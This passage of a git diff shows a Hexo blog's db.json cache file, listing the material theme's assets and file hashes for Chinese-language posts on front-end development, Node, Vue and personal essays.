diff --git a/db.json b/db.json
index b61ef50..d4b1d64 100644
--- a/db.json
+++ b/db.json
@@ -1 +1 @@
-{"meta":{"version":1,"warehouse":"2.2.0"},"models":{"Asset":[{"_id":"source/CNAME","path":"CNAME","modified":0,"renderable":0},{"_id":"source/favicon.ico","path":"favicon.ico","modified":0,"renderable":0},{"_id":"source/readme.MD","path":"readme.MD","modified":0,"renderable":0},{"_id":"source/jzxer.jpg","path":"jzxer.jpg","modified":0,"renderable":0},{"_id":"themes/material/source/css/disqus-proxy.css","path":"css/disqus-proxy.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/disqus-proxy.min.css","path":"css/disqus-proxy.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/duoshuo.css","path":"css/duoshuo.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/duoshuo.min.css","path":"css/duoshuo.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/fontawesome.min.css","path":"css/fontawesome.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/gallery.min.css","path":"css/gallery.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/ie-blocker.css","path":"css/ie-blocker.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/material-icons.css","path":"css/material-icons.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify.css","path":"css/prettify.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify.min.css","path":"css/prettify.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/uc.css","path":"css/uc.css","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.woff","path":"fonts/MaterialIcons-Regular.woff","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.woff2","path":"fonts/MaterialIcons-Regular.woff2","modified":0,"renderable":1},{"_id":"themes/material/source/img/bg.png","path":"img/bg.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/favicon.ico","path":"img/favicon.ico","modified":0,"renderable":1},{"_id":"themes/material/source/img/favicon.png","path":"img/favicon.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/logo.jpg","path":"img/logo.jpg","modified":0,"renderable":1},{"_id":"themes/material/source/js/MathJax.js","path":"js/MathJax.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/Valine.min.js","path":"js/Valine.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/hanabi-browser-bundle.js","path":"js/hanabi-browser-bundle.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/ie-blocker.en.js","path":"js/ie-blocker.en.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/ie-blocker.zhCN.js","path":"js/ie-blocker.zhCN.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/lazyload.min.js","path":"js/lazyload.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/lsloader.min.js","path":"js/lsloader.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/lsloader.js","path":"js/lsloader.js","modified":0,"renderable":1},{"_id":"themes/material/source/img/sidebar_header.png","path":"img/sidebar_header.png","modified":0,"renderable":1},{"_id":"themes/material/source/js/nprogress.js","path":"js/nprogress.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/prettify.min.js","path":"js/prettify.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/queue.js","path":"js/queue.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/queue.min.js","path":"js/queue.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/smoothscroll.js","path":"js/smoothscroll.js","modified":0,"renderable":1},{"_id":"themes/material/source/css/material.css","path":"css/material.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/material.min.css","path":"css/material.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/style.min.css","path":"css/style.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/style.css","path":"css/style.css","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.ttf","path":"fonts/MaterialIcons-Regular.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.woff","path":"fonts/fontawesome-webfont.woff","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.woff2","path":"fonts/fontawesome-webfont.woff2","modified":0,"renderable":1},{"_id":"themes/material/source/img/daily_pic.jpg","path":"img/daily_pic.jpg","modified":0,"renderable":1},{"_id":"themes/material/source/js/jquery.min.js","path":"js/jquery.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/js.js","path":"js/js.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/js.min.js","path":"js/js.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-cave-dark.min.css","path":"css/prettify/atelier-cave-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-cave-light.min.css","path":"css/prettify/atelier-cave-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-dune-dark.min.css","path":"css/prettify/atelier-dune-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-dune-light.min.css","path":"css/prettify/atelier-dune-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-estuary-dark.min.css","path":"css/prettify/atelier-estuary-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-estuary-light.min.css","path":"css/prettify/atelier-estuary-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-forest-dark.min.css","path":"css/prettify/atelier-forest-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-forest-light.min.css","path":"css/prettify/atelier-forest-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-heath-dark.min.css","path":"css/prettify/atelier-heath-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-heath-light.min.css","path":"css/prettify/atelier-heath-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-lakeside-dark.min.css","path":"css/prettify/atelier-lakeside-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-lakeside-light.min.css","path":"css/prettify/atelier-lakeside-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-plateau-light.min.css","path":"css/prettify/atelier-plateau-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-plateau-dark.min.css","path":"css/prettify/atelier-plateau-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-savanna-dark.min.css","path":"css/prettify/atelier-savanna-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-savanna-light.min.css","path":"css/prettify/atelier-savanna-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-seaside-dark.min.css","path":"css/prettify/atelier-seaside-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-seaside-light.min.css","path":"css/prettify/atelier-seaside-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-dark.min.css","path":"css/prettify/atelier-sulphurpool-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-light.min.css","path":"css/prettify/atelier-sulphurpool-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/github-v2.min.css","path":"css/prettify/github-v2.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/github.min.css","path":"css/prettify/github.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/hemisu-dark.min.css","path":"css/prettify/hemisu-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/hemisu-light.min.css","path":"css/prettify/hemisu-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night-blue.min.css","path":"css/prettify/tomorrow-night-blue.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night-bright.min.css","path":"css/prettify/tomorrow-night-bright.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night-eighties.min.css","path":"css/prettify/tomorrow-night-eighties.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night.min.css","path":"css/prettify/tomorrow-night.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow.min.css","path":"css/prettify/tomorrow.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tranquil-heart.min.css","path":"css/prettify/tranquil-heart.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/vibrant-ink.min.css","path":"css/prettify/vibrant-ink.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/FontAwesome.otf","path":"fonts/FontAwesome.otf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.eot","path":"fonts/MaterialIcons-Regular.eot","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.eot","path":"fonts/fontawesome-webfont.eot","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.ttf","path":"fonts/fontawesome-webfont.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-facebook.svg","path":"img/footer/footer_ico-facebook.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-github.svg","path":"img/footer/footer_ico-github.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-instagram.svg","path":"img/footer/footer_ico-instagram.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-linkedin.svg","path":"img/footer/footer_ico-linkedin.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-telegram.svg","path":"img/footer/footer_ico-telegram.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-tumblr.svg","path":"img/footer/footer_ico-tumblr.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-twitter.svg","path":"img/footer/footer_ico-twitter.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-v2ex.svg","path":"img/footer/footer_ico-v2ex.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-weibo.svg","path":"img/footer/footer_ico-weibo.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-zhihu.svg","path":"img/footer/footer_ico-zhihu.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-gplus.svg","path":"img/footer/footer_ico-gplus.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/gallery/arrow.svg","path":"img/gallery/arrow.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/gallery/close.svg","path":"img/gallery/close.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/gallery/spinner.svg","path":"img/gallery/spinner.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-bilibili.svg","path":"img/footer/footer_ico-bilibili.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-10.png","path":"img/random/material-10.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-12.png","path":"img/random/material-12.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-17.png","path":"img/random/material-17.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-19.png","path":"img/random/material-19.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-3.png","path":"img/random/material-3.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-6.png","path":"img/random/material-6.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-8.png","path":"img/random/material-8.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-9.png","path":"img/random/material-9.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-4.png","path":"img/random/material-4.png","modified":0,"renderable":1},{"_id":"themes/material/source/js/gallery/gallery.js","path":"js/gallery/gallery.js","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-1.png","path":"img/random/material-1.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-11.png","path":"img/random/material-11.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-13.png","path":"img/random/material-13.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-14.png","path":"img/random/material-14.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-15.png","path":"img/random/material-15.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-16.png","path":"img/random/material-16.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-2.png","path":"img/random/material-2.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-18.png","path":"img/random/material-18.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-7.png","path":"img/random/material-7.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-5.png","path":"img/random/material-5.png","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.svg","path":"fonts/fontawesome-webfont.svg","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Black.ttf","path":"fonts/Roboto-Black.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Light.ttf","path":"fonts/Roboto-Light.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Bold.ttf","path":"fonts/Roboto-Bold.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Medium.ttf","path":"fonts/Roboto-Medium.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Regular.ttf","path":"fonts/Roboto-Regular.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Thin.ttf","path":"fonts/Roboto-Thin.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/img/avatar.png","path":"img/avatar.png","modified":0,"renderable":1}],"Cache":[{"_id":"source/CNAME","hash":"f381177d515d923d248dff0e2f8d4c7a9642464e","modified":1516603915881},{"_id":"source/favicon.ico","hash":"b739465b2c68acac676f90a1f8a12b6ada131f1d","modified":1494941816000},{"_id":"source/readme.MD","hash":"b7084d85b953e42f2161a79a1dde34909d3b45cc","modified":1498402952000},{"_id":"themes/material/.DS_Store","hash":"df2fbeb1400acda0909a32c1cf6bf492f1121e07","modified":1527046766235},{"_id":"themes/material/.eslintrc.json","hash":"83ddc0cdc18f28b967795b8dac0421a52cdf7ece","modified":1517370288365},{"_id":"themes/material/.gitignore","hash":"dd9e9495fc7ce09c026f7fdcef45cf8ddfde40d8","modified":1517370288367},{"_id":"themes/material/.travis.yml","hash":"10a09fe2b341ccad5b97d4bd9cc2c1c03e1863a3","modified":1517370288367},{"_id":"themes/material/CONTRIBUTING.md","hash":"148f555e47d4725fe1faac775107a4d7b03f7136","modified":1517370288368},{"_id":"themes/material/CONTRIBUTING.zh-cn.md","hash":"ef3ccef0451d6ac616b3a35fbfedb6abd35e6b41","modified":1517370288368},{"_id":"themes/material/LICENSE","hash":"12d81f50767d4e09aa7877da077ad9d1b915d75b","modified":1517370288368},{"_id":"themes/material/README.md","hash":"408e36745a8aeb187a25f309752c5e7da66f7e67","modified":1517370288369},{"_id":"themes/material/contributing.json","hash":"1bc0871b1c7822b82533b614090ac0ab7c55282c","modified":1517370288369},{"_id":"themes/material/_config.yml","hash":"286a068f81f656c5e377bede547e769cd6ef63a7","modified":1527060074812},{"_id":"themes/material/_config.template.yml","hash":"8e3d70b9ffeca17be26bf8fb3c6f26f2cfd0570f","modified":1517370947187},{"_id":"themes/material/lint.sh","hash":"49c3a65f8ca65754ec7fefcd2dcb6adc187f3856","modified":1517370288396},{"_id":"themes/material/package.json","hash":"519f39a2be878c19ccfd26462852f1bc7b8e77c1","modified":1527045082417},{"_id":"source/jzxer.jpg","hash":"58b488993d67018a8463d325ac2f61db3f38de78","modified":1495539538000},{"_id":"source/_data/links.yml","hash":"4c88ddf344e86aebbfcf345aa628df6b9c5dc71e","modified":1497524680000},{"_id":"source/_data/gallery.yml","hash":"55998d93a5a265b6cb220bce61701df95d0cd6dd","modified":1521362338988},{"_id":"source/_posts/Amani-间奏-1.md","hash":"676a29bf3cb47af5553d719835a6ee3b8b03128c","modified":1516593049735},{"_id":"source/_posts/GIT使用攻略.md","hash":"33082cc1140fb3e01518c311b922c21a6030e89b","modified":1516593220804},{"_id":"source/_posts/PWA初窥.md","hash":"016530859178abf8d6300a571bdae14051a4cf7c","modified":1521699091935},{"_id":"source/_posts/JS常见的十大错误.md","hash":"8be8a9443f311ebb259fd62c011e2db7f0279839","modified":1517967667091},{"_id":"source/_posts/Travis-CI-实现自动化部署.md","hash":"4167691bab8ab67aa9ca608ac6956425e8e6a1f0","modified":1523256837025},{"_id":"source/_posts/badboy.md","hash":"0b9061759de0cc64a84a4b6f4008f1cc25862c70","modified":1517384953829},{"_id":"source/_posts/commonJS和AMD-CMD.md","hash":"90cd3c3958b19dc825e43af5781aaa1aba31c209","modified":1516600990029},{"_id":"source/_posts/cookie和session.md","hash":"719065291dab1e9467039c7063aec227da5aa42f","modified":1524745119549},{"_id":"source/_posts/css的命名规范.md","hash":"9968f7a4edfa84f0a732411563424a4476a7e323","modified":1516600995358},{"_id":"source/_posts/div-section-article.md","hash":"8663a7403d5ec83f35e20b42b58d53b354e390f5","modified":1516601001785},{"_id":"source/_posts/hybird.md","hash":"db5d3367734178537706a9b516b3cbb0ff709f6c","modified":1516601019371},{"_id":"source/_posts/hexo搭建博客.md","hash":"4df32c3136418c68fb17bb28174485d6a818d31e","modified":1516593285089},{"_id":"source/_posts/js中的一些方法和函数.md","hash":"3cf3758993ebf355db3444ba8013dfcb0d42e5a7","modified":1520562780648},{"_id":"source/_posts/js常见的九种设计模式.md","hash":"67b95a6598bb6702a244fedc5b1de8805f185ca9","modified":1520574582491},{"_id":"source/_posts/learn-express.md","hash":"b8521896a60c2fbab30930611f381b41ada278cb","modified":1516600752396},{"_id":"source/_posts/learn-koa.md","hash":"a9547ac5baddeb9ddfd312f1b5c1a00e2a4a8b64","modified":1516933625874},{"_id":"source/_posts/material主题使用攻略.md","hash":"e25cc6363ad0c42c863f489a9989249397476032","modified":1516600778833},{"_id":"source/_posts/nginx配置和问题处理.md","hash":"fafba49972329195f3e858772a2834f610ca7725","modified":1524713826244},{"_id":"source/_posts/nodeJS性能处理一.md","hash":"e334d1f1f931d7418a2bd93eabf3d9e691d32ace","modified":1524722236019},{"_id":"source/_posts/node连接阿里云redis.md","hash":"9d13b97761d33c7f9fa43d9aee715c80d770bfbf","modified":1524571638000},{"_id":"source/_posts/redis环境搭建.md","hash":"12a9073f50f4f658bc107c9790cf3ba9b4a9842b","modified":1524566626213},{"_id":"source/_posts/sessionStorage-localStotage-AND-cookies.md","hash":"af09a2c1c13430efa32f3a2dd44bce7a8d41f4a5","modified":1516601066424},{"_id":"source/_posts/simpleCountry.md","hash":"80edce749ba0c1787ed1e83192f148484119a572","modified":1516602678750},{"_id":"source/_posts/sticky-footer.md","hash":"49876abcb0f636cf3f2b3fc3f5b6aa74fa38f2d7","modified":1516600983000},{"_id":"source/_posts/sync-和async.md","hash":"8df89ef20c56c3a344c038ca0acf4455097e0fbf","modified":1516601108282},{"_id":"source/_posts/ubuntu下搭建一个nodejs-nginx-mongodb服务器.md","hash":"36dabeecc90f7ddabf27e18672ac85c64ef8f4a8","modified":1516602007214},{"_id":"source/_posts/urlMaker.md","hash":"4058e5d746353ab280bce202b2587f1cd0869b8f","modified":1516601248508},{"_id":"source/_posts/vscode-配置插件推荐.md","hash":"be747e81d2667d17a63ae67ed0930eb2dcb90d5d","modified":1522722335731},{"_id":"source/_posts/vue-eleme.md","hash":"2e1c40e65fb0c3e1019e3f27c3187999195a89a3","modified":1516601329837},{"_id":"source/_posts/vuex-模块介绍.md","hash":"8ef48006d77668c06ff1990460466a575b0928cb","modified":1516601370647},{"_id":"source/_posts/vue高仿qq音乐官网.md","hash":"f10dbf63370f6bdffb62bea3e1d5891f1b04d6c0","modified":1517385099916},{"_id":"source/_posts/wuti.md","hash":"a5d164e11f7a6373520f0fbe05c7c1e616e036e3","modified":1516602706672},{"_id":"source/_posts/vue学习笔记（一）.md","hash":"2c8b55af277b064cfd20d23d5e5e52277f96d249","modified":1516878827807},{"_id":"source/_posts/一些不可思议的的事.md","hash":"bb7f7dfc0cab9db9cb69fdcfa9e9c7b056192b65","modified":1516602639411},{"_id":"source/_posts/你的一生，究竟为什么而活.md","hash":"3888674c17579989c4f53678fbc164f4b30f6883","modified":1518348025427},{"_id":"source/_posts/七种公司永远做不大-十种老板永远不成功.md","hash":"797568050637f618598b966b8c1a007bfa290da5","modified":1516602741866},{"_id":"source/_posts/光辉岁月-间奏.md","hash":"eac430466e26201ab7e612078a0efdc006672ba3","modified":1516602820003},{"_id":"source/_posts/关于罗永浩.md","hash":"10bb04126f74b967804fcad0500d5fe3af41f929","modified":1516602866403},{"_id":"source/_posts/前端安全.md","hash":"2f6b8f9f4b0c4e95b71cf18cb17657dab296b49d","modified":1516879105232},{"_id":"source/_posts/前端的职业路线.md","hash":"ac6a873627a7944edfb35c6e0ef801bba94d4ad0","modified":1516602955681},{"_id":"source/_posts/前端面试题.md","hash":"58f00a5900a11f744c5f9278010315c2fbd50efa","modified":1516602996045},{"_id":"source/_posts/前端面试准备.md","hash":"333efe2ad018d9495d0b722c8bfce562babde853","modified":1516602982448},{"_id":"source/_posts/四种常见的布局.md","hash":"a192bee7a7ed281abb6cbe0cd50d270e9ac9dec1","modified":1516603017181},{"_id":"source/_posts/如何成为一名合格的CEO.md","hash":"b62948c2a3b6840b41e0017a84e28cc7a3e8ddb1","modified":1516878882235},{"_id":"source/_posts/如何规划自己的工作和生活.md","hash":"efc74e1c43e929e09a1e79e3e4696e0fa5427f21","modified":1523324388536},{"_id":"source/_posts/如何理解yield和-函数.md","hash":"54164fee0391519bd57f2b4dcfafe9724078c961","modified":1517369495280},{"_id":"source/_posts/常见的兼容性问题.md","hash":"431447fe8a4b3b86890974d5f657315122daf5f7","modified":1516603166882},{"_id":"source/_posts/学生思维.md","hash":"f974787a4e47e42fc55c4d9a9f787f658d01f855","modified":1523329222013},{"_id":"source/_posts/我个人的coding风格.md","hash":"c60e6fd12c658b8084443507d9e390c1c366dc00","modified":1516603201795},{"_id":"source/_posts/我向往的明天.md","hash":"98dd58c67bc1e89dad9d42b8afe3372c20a5dda0","modified":1516603238404},{"_id":"source/_posts/我所追求的狼性.md","hash":"c7e637da2dd8268708f6d5ba00e15f4071eb2fc5","modified":1518489900348},{"_id":"source/_posts/我是愤怒.md","hash":"3eb1b86f4245ef69451c1c04968be888c434976d","modified":1516603262481},{"_id":"source/_posts/搭一个windows云服务器.md","hash":"23719bdfc66d24fa774cd4d64badd3537063999c","modified":1516603303164},{"_id":"source/_posts/正则表达式.md","hash":"cafa00e181b0c98e7c2a267edf308eac6e3c7e63","modified":1522830726455},{"_id":"source/_posts/梦中的婚礼.md","hash":"b4c6259f10fa9367e4cb4b754a121961a2930e1d","modified":1516603333478},{"_id":"source/_posts/深入浅出-Ajax.md","hash":"e8c53330966a7044a8df18ee96e3cd87f91fb2eb","modified":1517369385267},{"_id":"source/_posts/用vue撸一个二手商城.md","hash":"bd5b3481b58e5937591142a0b294bab536679aec","modified":1516592972471},{"_id":"source/_posts/电吉他即兴原理.md","hash":"4858d8e1dbc77264dbe5954e856d5fabd9dc62d6","modified":1516603358881},{"_id":"source/_posts/线上部署：heroku.md","hash":"9ee06112b6971b80a3e3a64d87f065ed07c0aa16","modified":1524729787581},{"_id":"source/_posts/董思阳的忠告.md","hash":"5c07121f68ad11cd89dd214c504fe8736f5b4cd7","modified":1516603380546},{"_id":"source/_posts/论轮播图的原理.md","hash":"02ac81ded0f7a31187139dd6c9eabd66d8a7568d","modified":1516603403545},{"_id":"source/about/index.md","hash":"21d1d03557592fbdabb509134a3088bec3d3874f","modified":1516881404000},{"_id":"source/gallery/index.md","hash":"e71678fb14b6c8a087079b18b2b56a93774c8918","modified":1497526288000},{"_id":"source/links/index.md","hash":"f3fe425603a04d3f2375a70cce9432986af05937","modified":1497524650000},{"_id":"source/tags/index.md","hash":"1be4afad4dc5457f14146240c5c133d0b50f7a29","modified":1497524928000},{"_id":"source/timeline/index.md","hash":"9b2eb002c9ad9f3c4267e95c73fb6b5b441a81d6","modified":1527060511826},{"_id":"themes/material/.git/HEAD","hash":"acbaef275e46a7f14c1ef456fff2c8bbe8c84724","modified":1517370288353},{"_id":"themes/material/.git/config","hash":"e8a318ba42d027b4f4f195b2037f9101571706dd","modified":1517370288358},{"_id":"themes/material/.git/FETCH_HEAD","hash":"08e317931c4741425efa31e894c7399da3a18a7b","modified":1527061994996},{"_id":"themes/material/.git/description","hash":"9635f1b7e12c045212819dd934d809ef07efa2f4","modified":1517370274502},{"_id":"themes/material/.git/index","hash":"1a9eea06d3607b3e3592c86302d5c7b73e867063","modified":1517378911261},{"_id":"themes/material/.git/packed-refs","hash":"d2e3908110890d67472e95dd60f1c2f6b5b70659","modified":1517370288346},{"_id":"themes/material/.github/ISSUE_TEMPLATE.md","hash":"52a733a4d2e21a9c4d719495a0353c6719484f9f","modified":1517370288366},{"_id":"themes/material/.github/PULL_REQUEST_TEMPLATE.md","hash":"f2a3a0b929c0909ab99c96fb82853c2c2d67961a","modified":1517370288366},{"_id":"themes/material/layout/index.ejs","hash":"aca1abb741f891776913c8ea2e6ff626a0ea5736","modified":1517370288395},{"_id":"themes/material/layout/layout.ejs","hash":"94f66850b815a262c0f8ff112a32a0a6f43066e3","modified":1517370288395},{"_id":"themes/material/layout/post.ejs","hash":"4dd572a9e84f3a6baa5e3f16d270e58e3cd31a23","modified":1517370288395},{"_id":"themes/material/languages/ar.yml","hash":"472d71f052e08f3c03b15dd67d11ad41f2eee7bf","modified":1517370288369},{"_id":"themes/material/languages/de.yml","hash":"bce37d066ffa82f3e249d41d0ee883c913cc2c5f","modified":1517370288370},{"_id":"themes/material/languages/en.yml","hash":"b59136a1b4d0a77e550b0e7e2e430cac44230dd3","modified":1517370288370},{"_id":"themes/material/languages/es.yml","hash":"d35f5411bc87277cc2d3a58d9499ddb9cfd46f1b","modified":1517370288370},{"_id":"themes/material/languages/fr.yml","hash":"f456cf31a72d97f2f18e3bb6cf735285d2b9d2c5","modified":1517370288370},{"_id":"themes/material/languages/ja.yml","hash":"768b8330c9c73287efd475e68741ce4ebad29fd1","modified":1517370288370},{"_id":"themes/material/languages/ms.yml","hash":"237a39bbfcce33e7b918f6c5dc0f01bc79900262","modified":1517370288371},{"_id":"themes/material/languages/nl_NL.yml","hash":"b71e59807716185627d6b9b84e44a79401df639f","modified":1517370288371},{"_id":"themes/material/languages/pt-BR.yml","hash":"a070c2c4d0d3d54f8ca70513cff73c3f7c306db1","modified":1517370288371},{"_id":"themes/material/languages/ru.yml","hash":"fbff2cf48dbde45adcad781e2fd6c30b523a4ac1","modified":1517370288371},{"_id":"themes/material/languages/zh-CN.yml","hash":"c188cad1a16ab0651e2d2d03cb3fa79962cf65ff","modified":1517370288371},{"_id":"themes/material/languages/zh-TW.yml","hash":"ec55953f0330f81bf1ffb37ff34de258dfda642a","modified":1517370288372},{"_id":"themes/material/scripts/helper.js","hash":"e7111a8b1f0ab5bf3466378c48c260a4f6e527d6","modified":1517370288396},{"_id":"themes/material/layout/_partial/Isolation-post-info.ejs","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288372},{"_id":"themes/material/scripts/lib/font_lsload.js","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288397},{"_id":"themes/material/.git/hooks/applypatch-msg.sample","hash":"4de88eb95a5e93fd27e78b5fb3b5231a8d8917dd","modified":1517370274506},{"_id":"themes/material/.git/hooks/commit-msg.sample","hash":"ee1ed5aad98a435f2020b6de35c173b75d9affac","modified":1517370274504},{"_id":"themes/material/.git/hooks/post-update.sample","hash":"b614c2f63da7dca9f1db2e7ade61ef30448fc96c","modified":1517370274510},{"_id":"themes/material/.git/hooks/pre-applypatch.sample","hash":"f208287c1a92525de9f5462e905a9d31de1e2d75","modified":1517370274512},{"_id":"themes/material/.git/hooks/pre-push.sample","hash":"5c8518bfd1d1d3d2c1a7194994c0a16d8a313a41","modified":1517370274513},{"_id":"themes/material/.git/hooks/pre-commit.sample","hash":"36aed8976dcc08b5076844f0ec645b18bc37758f","modified":1517370274505},{"_id":"themes/material/.git/hooks/pre-rebase.sample","hash":"18be3eb275c1decd3614e139f5a311b75f1b0ab8","modified":1517370274505},{"_id":"themes/material/.git/hooks/pre-receive.sample","hash":"705a17d259e7896f0082fe2e9f2c0c3b127be5ac","modified":1517370274508},{"_id":"themes/material/.git/hooks/prepare-commit-msg.sample","hash":"2b6275eda365cad50d167fe3a387c9bc9fedd54f","modified":1517370274509},{"_id":"themes/material/.git/info/exclude","hash":"c879df015d97615050afa7b9641e3352a1e701ac","modified":1517370274502},{"_id":"themes/material/.git/hooks/update.sample","hash":"e729cd61b27c128951d139de8e7c63d1a3758dde","modified":1517370274514},{"_id":"themes/material/.git/logs/HEAD","hash":"c88511a9d262d83c53ce9c60d74f2f66ef69f599","modified":1517370288354},{"_id":"themes/material/layout/_partial/Isolation-post_entry.ejs","hash":"134dc82320b7aed7d4d78960be63e16c5c4a30fb","modified":1517370288372},{"_id":"themes/material/layout/_partial/Paradox-post-info.ejs","hash":"125cfa5cd9e6e1ca5e958026fdd42f3c3141e34f","modified":1517370288372},{"_id":"themes/material/layout/_partial/Paradox-post-thumbnail.ejs","hash":"6f1e9a85c089ce98a36a2954839fb9ce3e53739e","modified":1517370288373},{"_id":"themes/material/layout/_partial/Paradox-